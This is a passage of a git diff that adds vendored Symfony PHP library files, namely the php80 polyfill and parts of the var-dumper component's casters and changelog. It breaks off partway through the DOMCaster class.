[`str_ends_with`](https://php.net/str_ends_with) +- [`get_resource_id`](https://php.net/get_resource_id) + +More information can be found in the +[main Polyfill README](https://github.com/symfony/polyfill/blob/master/README.md). + +License +======= + +This library is released under the [MIT license](LICENSE). diff --git a/vendor/symfony/polyfill-php80/Resources/stubs/Attribute.php b/vendor/symfony/polyfill-php80/Resources/stubs/Attribute.php new file mode 100644 index 0000000..8f9e679 --- /dev/null +++ b/vendor/symfony/polyfill-php80/Resources/stubs/Attribute.php @@ -0,0 +1,22 @@ +flags = $flags; + } +} diff --git a/vendor/symfony/polyfill-php80/Resources/stubs/Stringable.php b/vendor/symfony/polyfill-php80/Resources/stubs/Stringable.php new file mode 100644 index 0000000..77e037c --- /dev/null +++ b/vendor/symfony/polyfill-php80/Resources/stubs/Stringable.php @@ -0,0 +1,11 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +use Symfony\Polyfill\Php80 as p; + +if (PHP_VERSION_ID >= 80000) { + return; +} + +if (!defined('FILTER_VALIDATE_BOOL') && defined('FILTER_VALIDATE_BOOLEAN')) { + define('FILTER_VALIDATE_BOOL', FILTER_VALIDATE_BOOLEAN); +} + +if (!function_exists('fdiv')) { + function fdiv(float $num1, float $num2): float { return p\Php80::fdiv($num1, $num2); } +} +if (!function_exists('preg_last_error_msg')) { + function preg_last_error_msg(): string { return p\Php80::preg_last_error_msg(); } +} +if (!function_exists('str_contains')) { + function str_contains(string $haystack, string $needle): bool { return p\Php80::str_contains($haystack, $needle); } +} +if (!function_exists('str_starts_with')) { + function str_starts_with(string $haystack, string $needle): bool { return p\Php80::str_starts_with($haystack, $needle); } +} +if (!function_exists('str_ends_with')) { + function str_ends_with(string $haystack, string $needle): bool { return p\Php80::str_ends_with($haystack, $needle); } +} +if (!function_exists('get_debug_type')) { + function get_debug_type($value): string { return p\Php80::get_debug_type($value); } +} +if (!function_exists('get_resource_id')) { + function get_resource_id($res): int { return p\Php80::get_resource_id($res); } +} diff --git a/vendor/symfony/polyfill-php80/composer.json b/vendor/symfony/polyfill-php80/composer.json new file mode 100644 index 0000000..8ad4c31 --- /dev/null +++ b/vendor/symfony/polyfill-php80/composer.json @@ -0,0 +1,40 @@ +{ + "name": "symfony/polyfill-php80", + "type": "library", + "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", + "keywords": ["polyfill", "shim", "compatibility", "portable"], + "homepage": "https://symfony.com", + "license": "MIT", + "authors": [ + { + "name": "Ion Bazan", + "email": "ion.bazan@gmail.com" + }, + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "require": { + "php": ">=7.1" + }, + "autoload": { + "psr-4": { "Symfony\\Polyfill\\Php80\\": "" }, + "files": [ "bootstrap.php" ], + "classmap": [ "Resources/stubs" ] + }, + "minimum-stability": "dev", + "extra": { + "branch-alias": { + "dev-main": "1.20-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + } +} diff --git a/vendor/symfony/var-dumper/CHANGELOG.md b/vendor/symfony/var-dumper/CHANGELOG.md new file mode 100644 index 0000000..94b1c17 --- /dev/null +++ b/vendor/symfony/var-dumper/CHANGELOG.md @@ -0,0 +1,53 @@ +CHANGELOG +========= + +4.4.0 +----- + + * added `VarDumperTestTrait::setUpVarDumper()` and `VarDumperTestTrait::tearDownVarDumper()` + to configure casters & flags to use in tests + * added `ImagineCaster` and infrastructure to dump images + * added the stamps of a message after it is dispatched in `TraceableMessageBus` and `MessengerDataCollector` collected data + * added `UuidCaster` + * made all casters final + * added support for the `NO_COLOR` env var (https://no-color.org/) + +4.3.0 +----- + + * added `DsCaster` to support dumping the contents of data structures from the Ds extension + +4.2.0 +----- + + * support selecting the format to use by setting the environment variable `VAR_DUMPER_FORMAT` to `html` or `cli` + +4.1.0 +----- + + * added a `ServerDumper` to send serialized Data clones to a server + * added a `ServerDumpCommand` and `DumpServer` to run a server collecting + and displaying dumps on a single place with multiple formats support + * added `CliDescriptor` and `HtmlDescriptor` descriptors for `server:dump` CLI and HTML formats support + +4.0.0 +----- + + * support for passing `\ReflectionClass` instances to the `Caster::castObject()` + method has been dropped, pass class names as strings instead + * the `Data::getRawData()` method has been removed + * the `VarDumperTestTrait::assertDumpEquals()` method expects a 3rd `$filter = 0` + argument and moves `$message = ''` argument at 4th position. + * the `VarDumperTestTrait::assertDumpMatchesFormat()` method expects a 3rd `$filter = 0` + argument and moves `$message = ''` argument at 4th position. + +3.4.0 +----- + + * added `AbstractCloner::setMinDepth()` function to ensure minimum tree depth + * deprecated `MongoCaster` + +2.7.0 +----- + + * deprecated `Cloner\Data::getLimitedClone()`. Use `withMaxDepth`, `withMaxItemsPerDepth` or `withRefHandles` instead. diff --git a/vendor/symfony/var-dumper/Caster/AmqpCaster.php b/vendor/symfony/var-dumper/Caster/AmqpCaster.php new file mode 100644 index 0000000..b81043b --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/AmqpCaster.php @@ -0,0 +1,212 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts Amqp related classes to array representation. + * + * @author Grégoire Pineau + * + * @final since Symfony 4.4 + */ +class AmqpCaster +{ + private static $flags = [ + \AMQP_DURABLE => 'AMQP_DURABLE', + \AMQP_PASSIVE => 'AMQP_PASSIVE', + \AMQP_EXCLUSIVE => 'AMQP_EXCLUSIVE', + \AMQP_AUTODELETE => 'AMQP_AUTODELETE', + \AMQP_INTERNAL => 'AMQP_INTERNAL', + \AMQP_NOLOCAL => 'AMQP_NOLOCAL', + \AMQP_AUTOACK => 'AMQP_AUTOACK', + \AMQP_IFEMPTY => 'AMQP_IFEMPTY', + \AMQP_IFUNUSED => 'AMQP_IFUNUSED', + \AMQP_MANDATORY => 'AMQP_MANDATORY', + \AMQP_IMMEDIATE => 'AMQP_IMMEDIATE', + \AMQP_MULTIPLE => 'AMQP_MULTIPLE', + \AMQP_NOWAIT => 'AMQP_NOWAIT', + \AMQP_REQUEUE => 'AMQP_REQUEUE', + ]; + + private static $exchangeTypes = [ + \AMQP_EX_TYPE_DIRECT => 'AMQP_EX_TYPE_DIRECT', + \AMQP_EX_TYPE_FANOUT => 'AMQP_EX_TYPE_FANOUT', + \AMQP_EX_TYPE_TOPIC => 'AMQP_EX_TYPE_TOPIC', + \AMQP_EX_TYPE_HEADERS => 'AMQP_EX_TYPE_HEADERS', + ]; + + public static function castConnection(\AMQPConnection $c, array $a, Stub $stub, $isNested) + { + $prefix = Caster::PREFIX_VIRTUAL; + + $a += [ + $prefix.'is_connected' => $c->isConnected(), + ]; + + // Recent version of the extension already expose private properties + if (isset($a["\x00AMQPConnection\x00login"])) { + return $a; + } + + // BC layer in the amqp lib + if (method_exists($c, 'getReadTimeout')) { + $timeout = $c->getReadTimeout(); + } else { + $timeout = $c->getTimeout(); + } + + $a += [ + $prefix.'is_connected' => $c->isConnected(), + $prefix.'login' => $c->getLogin(), + $prefix.'password' => $c->getPassword(), + $prefix.'host' => $c->getHost(), + $prefix.'vhost' => $c->getVhost(), + $prefix.'port' => $c->getPort(), + $prefix.'read_timeout' => $timeout, + ]; + + return $a; + } + + public static function castChannel(\AMQPChannel $c, array $a, Stub $stub, $isNested) + { + $prefix = Caster::PREFIX_VIRTUAL; + + $a += [ + $prefix.'is_connected' => $c->isConnected(), + $prefix.'channel_id' => $c->getChannelId(), + ]; + + // Recent version of the extension already expose private properties + if (isset($a["\x00AMQPChannel\x00connection"])) { + return $a; + } + + $a += [ + $prefix.'connection' => $c->getConnection(), + $prefix.'prefetch_size' => $c->getPrefetchSize(), + $prefix.'prefetch_count' => $c->getPrefetchCount(), + ]; + + return $a; + } + + public static function castQueue(\AMQPQueue $c, array $a, Stub $stub, $isNested) + { + $prefix = Caster::PREFIX_VIRTUAL; + + $a += [ + $prefix.'flags' => self::extractFlags($c->getFlags()), + ]; + + // Recent version of the extension already expose private properties + if (isset($a["\x00AMQPQueue\x00name"])) { + return $a; + } + + $a += [ + $prefix.'connection' => $c->getConnection(), + $prefix.'channel' => $c->getChannel(), + $prefix.'name' => $c->getName(), + $prefix.'arguments' => $c->getArguments(), + ]; + + return $a; + } + + public static function castExchange(\AMQPExchange $c, array $a, Stub $stub, $isNested) + { + $prefix = Caster::PREFIX_VIRTUAL; + + $a += [ + $prefix.'flags' => self::extractFlags($c->getFlags()), + ]; + + $type = isset(self::$exchangeTypes[$c->getType()]) ? new ConstStub(self::$exchangeTypes[$c->getType()], $c->getType()) : $c->getType(); + + // Recent version of the extension already expose private properties + if (isset($a["\x00AMQPExchange\x00name"])) { + $a["\x00AMQPExchange\x00type"] = $type; + + return $a; + } + + $a += [ + $prefix.'connection' => $c->getConnection(), + $prefix.'channel' => $c->getChannel(), + $prefix.'name' => $c->getName(), + $prefix.'type' => $type, + $prefix.'arguments' => $c->getArguments(), + ]; + + return $a; + } + + public static function castEnvelope(\AMQPEnvelope $c, array $a, Stub $stub, $isNested, $filter = 0) + { + $prefix = Caster::PREFIX_VIRTUAL; + + $deliveryMode = new ConstStub($c->getDeliveryMode().(2 === $c->getDeliveryMode() ? ' (persistent)' : ' (non-persistent)'), $c->getDeliveryMode()); + + // Recent version of the extension already expose private properties + if (isset($a["\x00AMQPEnvelope\x00body"])) { + $a["\0AMQPEnvelope\0delivery_mode"] = $deliveryMode; + + return $a; + } + + if (!($filter & Caster::EXCLUDE_VERBOSE)) { + $a += [$prefix.'body' => $c->getBody()]; + } + + $a += [ + $prefix.'delivery_tag' => $c->getDeliveryTag(), + $prefix.'is_redelivery' => $c->isRedelivery(), + $prefix.'exchange_name' => $c->getExchangeName(), + $prefix.'routing_key' => $c->getRoutingKey(), + $prefix.'content_type' => $c->getContentType(), + $prefix.'content_encoding' => $c->getContentEncoding(), + $prefix.'headers' => $c->getHeaders(), + $prefix.'delivery_mode' => $deliveryMode, + $prefix.'priority' => $c->getPriority(), + $prefix.'correlation_id' => $c->getCorrelationId(), + $prefix.'reply_to' => $c->getReplyTo(), + $prefix.'expiration' => $c->getExpiration(), + $prefix.'message_id' => $c->getMessageId(), + $prefix.'timestamp' => $c->getTimeStamp(), + $prefix.'type' => $c->getType(), + $prefix.'user_id' => $c->getUserId(), + $prefix.'app_id' => $c->getAppId(), + ]; + + return $a; + } + + private static function extractFlags(int $flags): ConstStub + { + $flagsArray = []; + + foreach (self::$flags as $value => $name) { + if ($flags & $value) { + $flagsArray[] = $name; + } + } + + if (!$flagsArray) { + $flagsArray = ['AMQP_NOPARAM']; + } + + return new ConstStub(implode('|', $flagsArray), $flags); + } +} diff --git a/vendor/symfony/var-dumper/Caster/ArgsStub.php b/vendor/symfony/var-dumper/Caster/ArgsStub.php new file mode 100644 index 0000000..591c7e2 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/ArgsStub.php @@ -0,0 +1,80 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Represents a list of function arguments. + * + * @author Nicolas Grekas + */ +class ArgsStub extends EnumStub +{ + private static $parameters = []; + + public function __construct(array $args, string $function, ?string $class) + { + list($variadic, $params) = self::getParameters($function, $class); + + $values = []; + foreach ($args as $k => $v) { + $values[$k] = !is_scalar($v) && !$v instanceof Stub ? new CutStub($v) : $v; + } + if (null === $params) { + parent::__construct($values, false); + + return; + } + if (\count($values) < \count($params)) { + $params = \array_slice($params, 0, \count($values)); + } elseif (\count($values) > \count($params)) { + $values[] = new EnumStub(array_splice($values, \count($params)), false); + $params[] = $variadic; + } + if (['...'] === $params) { + $this->dumpKeys = false; + $this->value = $values[0]->value; + } else { + $this->value = array_combine($params, $values); + } + } + + private static function getParameters(string $function, ?string $class): array + { + if (isset(self::$parameters[$k = $class.'::'.$function])) { + return self::$parameters[$k]; + } + + try { + $r = null !== $class ? new \ReflectionMethod($class, $function) : new \ReflectionFunction($function); + } catch (\ReflectionException $e) { + return [null, null]; + } + + $variadic = '...'; + $params = []; + foreach ($r->getParameters() as $v) { + $k = '$'.$v->name; + if ($v->isPassedByReference()) { + $k = '&'.$k; + } + if ($v->isVariadic()) { + $variadic .= $k; + } else { + $params[] = $k; + } + } + + return self::$parameters[$k] = [$variadic, $params]; + } +} diff --git a/vendor/symfony/var-dumper/Caster/Caster.php b/vendor/symfony/var-dumper/Caster/Caster.php new file mode 100644 index 0000000..4bdc66a --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/Caster.php @@ -0,0 +1,175 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Helper for filtering out properties in casters. + * + * @author Nicolas Grekas + * + * @final + */ +class Caster +{ + const EXCLUDE_VERBOSE = 1; + const EXCLUDE_VIRTUAL = 2; + const EXCLUDE_DYNAMIC = 4; + const EXCLUDE_PUBLIC = 8; + const EXCLUDE_PROTECTED = 16; + const EXCLUDE_PRIVATE = 32; + const EXCLUDE_NULL = 64; + const EXCLUDE_EMPTY = 128; + const EXCLUDE_NOT_IMPORTANT = 256; + const EXCLUDE_STRICT = 512; + + const PREFIX_VIRTUAL = "\0~\0"; + const PREFIX_DYNAMIC = "\0+\0"; + const PREFIX_PROTECTED = "\0*\0"; + + /** + * Casts objects to arrays and adds the dynamic property prefix. + * + * @param object $obj The object to cast + * @param bool $hasDebugInfo Whether the __debugInfo method exists on $obj or not + * + * @return array The array-cast of the object, with prefixed dynamic properties + */ + public static function castObject($obj, string $class, bool $hasDebugInfo = false, string $debugClass = null): array + { + if ($hasDebugInfo) { + try { + $debugInfo = $obj->__debugInfo(); + } catch (\Exception $e) { + // ignore failing __debugInfo() + $hasDebugInfo = false; + } + } + + $a = $obj instanceof \Closure ? [] : (array) $obj; + + if ($obj instanceof \__PHP_Incomplete_Class) { + return $a; + } + + if ($a) { + static $publicProperties = []; + $debugClass = $debugClass ?? get_debug_type($obj); + + $i = 0; + $prefixedKeys = []; + foreach ($a as $k => $v) { + if (isset($k[0]) ? "\0" !== $k[0] : \PHP_VERSION_ID >= 70200) { + if (!isset($publicProperties[$class])) { + foreach ((new \ReflectionClass($class))->getProperties(\ReflectionProperty::IS_PUBLIC) as $prop) { + $publicProperties[$class][$prop->name] = true; + } + } + if (!isset($publicProperties[$class][$k])) { + $prefixedKeys[$i] = self::PREFIX_DYNAMIC.$k; + } + } elseif ($debugClass !== $class && 1 === strpos($k, $class)) { + $prefixedKeys[$i] = "\0".$debugClass.strrchr($k, "\0"); + } + ++$i; + } + if ($prefixedKeys) { + $keys = array_keys($a); + foreach ($prefixedKeys as $i => $k) { + $keys[$i] = $k; + } + $a = array_combine($keys, $a); + } + } + + if ($hasDebugInfo && \is_array($debugInfo)) { + foreach ($debugInfo as $k => $v) { + if (!isset($k[0]) || "\0" !== $k[0]) { + if (\array_key_exists(self::PREFIX_DYNAMIC.$k, $a)) { + continue; + } + $k = self::PREFIX_VIRTUAL.$k; + } + + unset($a[$k]); + $a[$k] = $v; + } + } + + return $a; + } + + /** + * Filters out the specified properties. + * + * By default, a single match in the $filter bit field filters properties out, following an "or" logic. + * When EXCLUDE_STRICT is set, an "and" logic is applied: all bits must match for a property to be removed. + * + * @param array $a The array containing the properties to filter + * @param int $filter A bit field of Caster::EXCLUDE_* constants specifying which properties to filter out + * @param string[] $listedProperties List of properties to exclude when Caster::EXCLUDE_VERBOSE is set, and to preserve when Caster::EXCLUDE_NOT_IMPORTANT is set + * @param int &$count Set to the number of removed properties + * + * @return array The filtered array + */ + public static function filter(array $a, int $filter, array $listedProperties = [], ?int &$count = 0): array + { + $count = 0; + + foreach ($a as $k => $v) { + $type = self::EXCLUDE_STRICT & $filter; + + if (null === $v) { + $type |= self::EXCLUDE_NULL & $filter; + $type |= self::EXCLUDE_EMPTY & $filter; + } elseif (false === $v || '' === $v || '0' === $v || 0 === $v || 0.0 === $v || [] === $v) { + $type |= self::EXCLUDE_EMPTY & $filter; + } + if ((self::EXCLUDE_NOT_IMPORTANT & $filter) && !\in_array($k, $listedProperties, true)) { + $type |= self::EXCLUDE_NOT_IMPORTANT; + } + if ((self::EXCLUDE_VERBOSE & $filter) && \in_array($k, $listedProperties, true)) { + $type |= self::EXCLUDE_VERBOSE; + } + + if (!isset($k[1]) || "\0" !== $k[0]) { + $type |= self::EXCLUDE_PUBLIC & $filter; + } elseif ('~' === $k[1]) { + $type |= self::EXCLUDE_VIRTUAL & $filter; + } elseif ('+' === $k[1]) { + $type |= self::EXCLUDE_DYNAMIC & $filter; + } elseif ('*' === $k[1]) { + $type |= self::EXCLUDE_PROTECTED & $filter; + } else { + $type |= self::EXCLUDE_PRIVATE & $filter; + } + + if ((self::EXCLUDE_STRICT & $filter) ? $type === $filter : $type) { + unset($a[$k]); + ++$count; + } + } + + return $a; + } + + public static function castPhpIncompleteClass(\__PHP_Incomplete_Class $c, array $a, Stub $stub, bool $isNested): array + { + if (isset($a['__PHP_Incomplete_Class_Name'])) { + $stub->class .= '('.$a['__PHP_Incomplete_Class_Name'].')'; + unset($a['__PHP_Incomplete_Class_Name']); + } + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/ClassStub.php b/vendor/symfony/var-dumper/Caster/ClassStub.php new file mode 100644 index 0000000..612a7ca --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/ClassStub.php @@ -0,0 +1,106 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Represents a PHP class identifier. + * + * @author Nicolas Grekas + */ +class ClassStub extends ConstStub +{ + /** + * @param string $identifier A PHP identifier, e.g. a class, method, interface, etc. name + * @param callable $callable The callable targeted by the identifier when it is ambiguous or not a real PHP identifier + */ + public function __construct(string $identifier, $callable = null) + { + $this->value = $identifier; + + try { + if (null !== $callable) { + if ($callable instanceof \Closure) { + $r = new \ReflectionFunction($callable); + } elseif (\is_object($callable)) { + $r = [$callable, '__invoke']; + } elseif (\is_array($callable)) { + $r = $callable; + } elseif (false !== $i = strpos($callable, '::')) { + $r = [substr($callable, 0, $i), substr($callable, 2 + $i)]; + } else { + $r = new \ReflectionFunction($callable); + } + } elseif (0 < $i = strpos($identifier, '::') ?: strpos($identifier, '->')) { + $r = [substr($identifier, 0, $i), substr($identifier, 2 + $i)]; + } else { + $r = new \ReflectionClass($identifier); + } + + if (\is_array($r)) { + try { + $r = new \ReflectionMethod($r[0], $r[1]); + } catch (\ReflectionException $e) { + $r = new \ReflectionClass($r[0]); + } + } + + if (false !== strpos($identifier, "@anonymous\0")) { + $this->value = $identifier = preg_replace_callback('/[a-zA-Z_\x7f-\xff][\\\\a-zA-Z0-9_\x7f-\xff]*+@anonymous\x00.*?\.php(?:0x?|:[0-9]++\$)[0-9a-fA-F]++/', function ($m) { + return class_exists($m[0], false) ? (get_parent_class($m[0]) ?: key(class_implements($m[0])) ?: 'class').'@anonymous' : $m[0]; + }, $identifier); + } + + if (null !== $callable && $r instanceof \ReflectionFunctionAbstract) { + $s = ReflectionCaster::castFunctionAbstract($r, [], new Stub(), true, Caster::EXCLUDE_VERBOSE); + $s = ReflectionCaster::getSignature($s); + + if ('()' === substr($identifier, -2)) { + $this->value = substr_replace($identifier, $s, -2); + } else { + $this->value .= $s; + } + } + } catch (\ReflectionException $e) { + return; + } finally { + if (0 < $i = strrpos($this->value, '\\')) { + $this->attr['ellipsis'] = \strlen($this->value) - $i; + $this->attr['ellipsis-type'] = 'class'; + $this->attr['ellipsis-tail'] = 1; + } + } + + if ($f = $r->getFileName()) { + $this->attr['file'] = $f; + $this->attr['line'] = $r->getStartLine(); + } + } + + public static function wrapCallable($callable) + { + if (\is_object($callable) || !\is_callable($callable)) { + return $callable; + } + + if (!\is_array($callable)) { + $callable = new static($callable, $callable); + } elseif (\is_string($callable[0])) { + $callable[0] = new static($callable[0], $callable); + } else { + $callable[1] = new static($callable[1], $callable); + } + + return $callable; + } +} diff --git a/vendor/symfony/var-dumper/Caster/ConstStub.php b/vendor/symfony/var-dumper/Caster/ConstStub.php new file mode 100644 index 0000000..8b01797 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/ConstStub.php @@ -0,0 +1,36 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Represents a PHP constant and its value. + * + * @author Nicolas Grekas + */ +class ConstStub extends Stub +{ + public function __construct(string $name, $value = null) + { + $this->class = $name; + $this->value = 1 < \func_num_args() ? $value : $name; + } + + /** + * @return string + */ + public function __toString() + { + return (string) $this->value; + } +} diff --git a/vendor/symfony/var-dumper/Caster/CutArrayStub.php b/vendor/symfony/var-dumper/Caster/CutArrayStub.php new file mode 100644 index 0000000..0e4fb36 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/CutArrayStub.php @@ -0,0 +1,30 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +/** + * Represents a cut array. + * + * @author Nicolas Grekas + */ +class CutArrayStub extends CutStub +{ + public $preservedSubset; + + public function __construct(array $value, array $preservedKeys) + { + parent::__construct($value); + + $this->preservedSubset = array_intersect_key($value, array_flip($preservedKeys)); + $this->cut -= \count($this->preservedSubset); + } +} diff --git a/vendor/symfony/var-dumper/Caster/CutStub.php b/vendor/symfony/var-dumper/Caster/CutStub.php new file mode 100644 index 0000000..464c6db --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/CutStub.php @@ -0,0 +1,64 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Represents the main properties of a PHP variable, pre-casted by a caster. + * + * @author Nicolas Grekas + */ +class CutStub extends Stub +{ + public function __construct($value) + { + $this->value = $value; + + switch (\gettype($value)) { + case 'object': + $this->type = self::TYPE_OBJECT; + $this->class = \get_class($value); + + if ($value instanceof \Closure) { + ReflectionCaster::castClosure($value, [], $this, true, Caster::EXCLUDE_VERBOSE); + } + + $this->cut = -1; + break; + + case 'array': + $this->type = self::TYPE_ARRAY; + $this->class = self::ARRAY_ASSOC; + $this->cut = $this->value = \count($value); + break; + + case 'resource': + case 'unknown type': + case 'resource (closed)': + $this->type = self::TYPE_RESOURCE; + $this->handle = (int) $value; + if ('Unknown' === $this->class = @get_resource_type($value)) { + $this->class = 'Closed'; + } + $this->cut = -1; + break; + + case 'string': + $this->type = self::TYPE_STRING; + $this->class = preg_match('//u', $value) ? self::STRING_UTF8 : self::STRING_BINARY; + $this->cut = self::STRING_BINARY === $this->class ? \strlen($value) : mb_strlen($value, 'UTF-8'); + $this->value = ''; + break; + } + } +} diff --git a/vendor/symfony/var-dumper/Caster/DOMCaster.php b/vendor/symfony/var-dumper/Caster/DOMCaster.php new file mode 100644 index 0000000..c6cfb75 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/DOMCaster.php @@ -0,0 +1,304 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts DOM related classes to array representation. + * + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class DOMCaster +{ + private static $errorCodes = [ + \DOM_PHP_ERR => 'DOM_PHP_ERR', + \DOM_INDEX_SIZE_ERR => 'DOM_INDEX_SIZE_ERR', + \DOMSTRING_SIZE_ERR => 'DOMSTRING_SIZE_ERR', + \DOM_HIERARCHY_REQUEST_ERR => 'DOM_HIERARCHY_REQUEST_ERR', + \DOM_WRONG_DOCUMENT_ERR => 'DOM_WRONG_DOCUMENT_ERR', + \DOM_INVALID_CHARACTER_ERR => 'DOM_INVALID_CHARACTER_ERR', + \DOM_NO_DATA_ALLOWED_ERR => 'DOM_NO_DATA_ALLOWED_ERR', + \DOM_NO_MODIFICATION_ALLOWED_ERR => 'DOM_NO_MODIFICATION_ALLOWED_ERR', + \DOM_NOT_FOUND_ERR => 'DOM_NOT_FOUND_ERR', + \DOM_NOT_SUPPORTED_ERR => 'DOM_NOT_SUPPORTED_ERR', + \DOM_INUSE_ATTRIBUTE_ERR => 'DOM_INUSE_ATTRIBUTE_ERR', + \DOM_INVALID_STATE_ERR => 'DOM_INVALID_STATE_ERR', + \DOM_SYNTAX_ERR => 'DOM_SYNTAX_ERR', + \DOM_INVALID_MODIFICATION_ERR => 'DOM_INVALID_MODIFICATION_ERR', + \DOM_NAMESPACE_ERR => 'DOM_NAMESPACE_ERR', + \DOM_INVALID_ACCESS_ERR => 'DOM_INVALID_ACCESS_ERR', + \DOM_VALIDATION_ERR => 'DOM_VALIDATION_ERR', + ]; + + private static $nodeTypes = [ + \XML_ELEMENT_NODE => 'XML_ELEMENT_NODE', + \XML_ATTRIBUTE_NODE => 'XML_ATTRIBUTE_NODE', + \XML_TEXT_NODE => 'XML_TEXT_NODE', + \XML_CDATA_SECTION_NODE => 'XML_CDATA_SECTION_NODE', + \XML_ENTITY_REF_NODE => 'XML_ENTITY_REF_NODE', + \XML_ENTITY_NODE => 'XML_ENTITY_NODE', + \XML_PI_NODE => 'XML_PI_NODE', + \XML_COMMENT_NODE => 'XML_COMMENT_NODE', + \XML_DOCUMENT_NODE => 'XML_DOCUMENT_NODE', + \XML_DOCUMENT_TYPE_NODE => 'XML_DOCUMENT_TYPE_NODE', + \XML_DOCUMENT_FRAG_NODE => 'XML_DOCUMENT_FRAG_NODE', + \XML_NOTATION_NODE => 'XML_NOTATION_NODE', + \XML_HTML_DOCUMENT_NODE => 'XML_HTML_DOCUMENT_NODE', + \XML_DTD_NODE => 'XML_DTD_NODE', + \XML_ELEMENT_DECL_NODE => 'XML_ELEMENT_DECL_NODE', + \XML_ATTRIBUTE_DECL_NODE => 'XML_ATTRIBUTE_DECL_NODE', + \XML_ENTITY_DECL_NODE => 'XML_ENTITY_DECL_NODE', + \XML_NAMESPACE_DECL_NODE => 'XML_NAMESPACE_DECL_NODE', + ]; + + public static function castException(\DOMException $e, array $a, Stub $stub, $isNested) + { + $k = Caster::PREFIX_PROTECTED.'code'; + if (isset($a[$k], self::$errorCodes[$a[$k]])) { + $a[$k] = new ConstStub(self::$errorCodes[$a[$k]], $a[$k]); + } + + return $a; + } + + public static function castLength($dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'length' => $dom->length, + ]; + + return $a; + } + + public static function castImplementation($dom, array $a, Stub $stub, $isNested) + { + $a += [ + Caster::PREFIX_VIRTUAL.'Core' => '1.0', + Caster::PREFIX_VIRTUAL.'XML' => '2.0', + ]; + + return $a; + } + + public static function castNode(\DOMNode $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'nodeName' => $dom->nodeName, + 'nodeValue' => new CutStub($dom->nodeValue), + 'nodeType' => new ConstStub(self::$nodeTypes[$dom->nodeType], $dom->nodeType), + 'parentNode' => new CutStub($dom->parentNode), + 'childNodes' => $dom->childNodes, + 'firstChild' => new CutStub($dom->firstChild), + 'lastChild' => new CutStub($dom->lastChild), + 'previousSibling' => new CutStub($dom->previousSibling), + 'nextSibling' => new CutStub($dom->nextSibling), + 'attributes' => $dom->attributes, + 'ownerDocument' => new CutStub($dom->ownerDocument), + 'namespaceURI' => $dom->namespaceURI, + 'prefix' => $dom->prefix, + 'localName' => $dom->localName, + 'baseURI' => $dom->baseURI ? new LinkStub($dom->baseURI) : $dom->baseURI, + 'textContent' => new CutStub($dom->textContent), + ]; + + return $a; + } + + public static function castNameSpaceNode(\DOMNameSpaceNode $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'nodeName' => $dom->nodeName, + 'nodeValue' => new CutStub($dom->nodeValue), + 'nodeType' => new ConstStub(self::$nodeTypes[$dom->nodeType], $dom->nodeType), + 'prefix' => $dom->prefix, + 'localName' => $dom->localName, + 'namespaceURI' => $dom->namespaceURI, + 'ownerDocument' => new CutStub($dom->ownerDocument), + 'parentNode' => new CutStub($dom->parentNode), + ]; + + return $a; + } + + public static function castDocument(\DOMDocument $dom, array $a, Stub $stub, $isNested, $filter = 0) + { + $a += [ + 'doctype' => $dom->doctype, + 'implementation' => $dom->implementation, + 'documentElement' => new CutStub($dom->documentElement), + 'actualEncoding' => $dom->actualEncoding, + 'encoding' => $dom->encoding, + 'xmlEncoding' => $dom->xmlEncoding, + 'standalone' => $dom->standalone, + 'xmlStandalone' => $dom->xmlStandalone, + 'version' => $dom->version, + 'xmlVersion' => $dom->xmlVersion, + 'strictErrorChecking' => $dom->strictErrorChecking, + 'documentURI' => $dom->documentURI ? new LinkStub($dom->documentURI) : $dom->documentURI, + 'config' => $dom->config, + 'formatOutput' => $dom->formatOutput, + 'validateOnParse' => $dom->validateOnParse, + 'resolveExternals' => $dom->resolveExternals, + 'preserveWhiteSpace' => $dom->preserveWhiteSpace, + 'recover' => $dom->recover, + 'substituteEntities' => $dom->substituteEntities, + ]; + + if (!($filter & Caster::EXCLUDE_VERBOSE)) { + $formatOutput = $dom->formatOutput; + $dom->formatOutput = true; + $a += [Caster::PREFIX_VIRTUAL.'xml' => $dom->saveXML()]; + $dom->formatOutput = $formatOutput; + } + + return $a; + } + + public static function castCharacterData(\DOMCharacterData $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 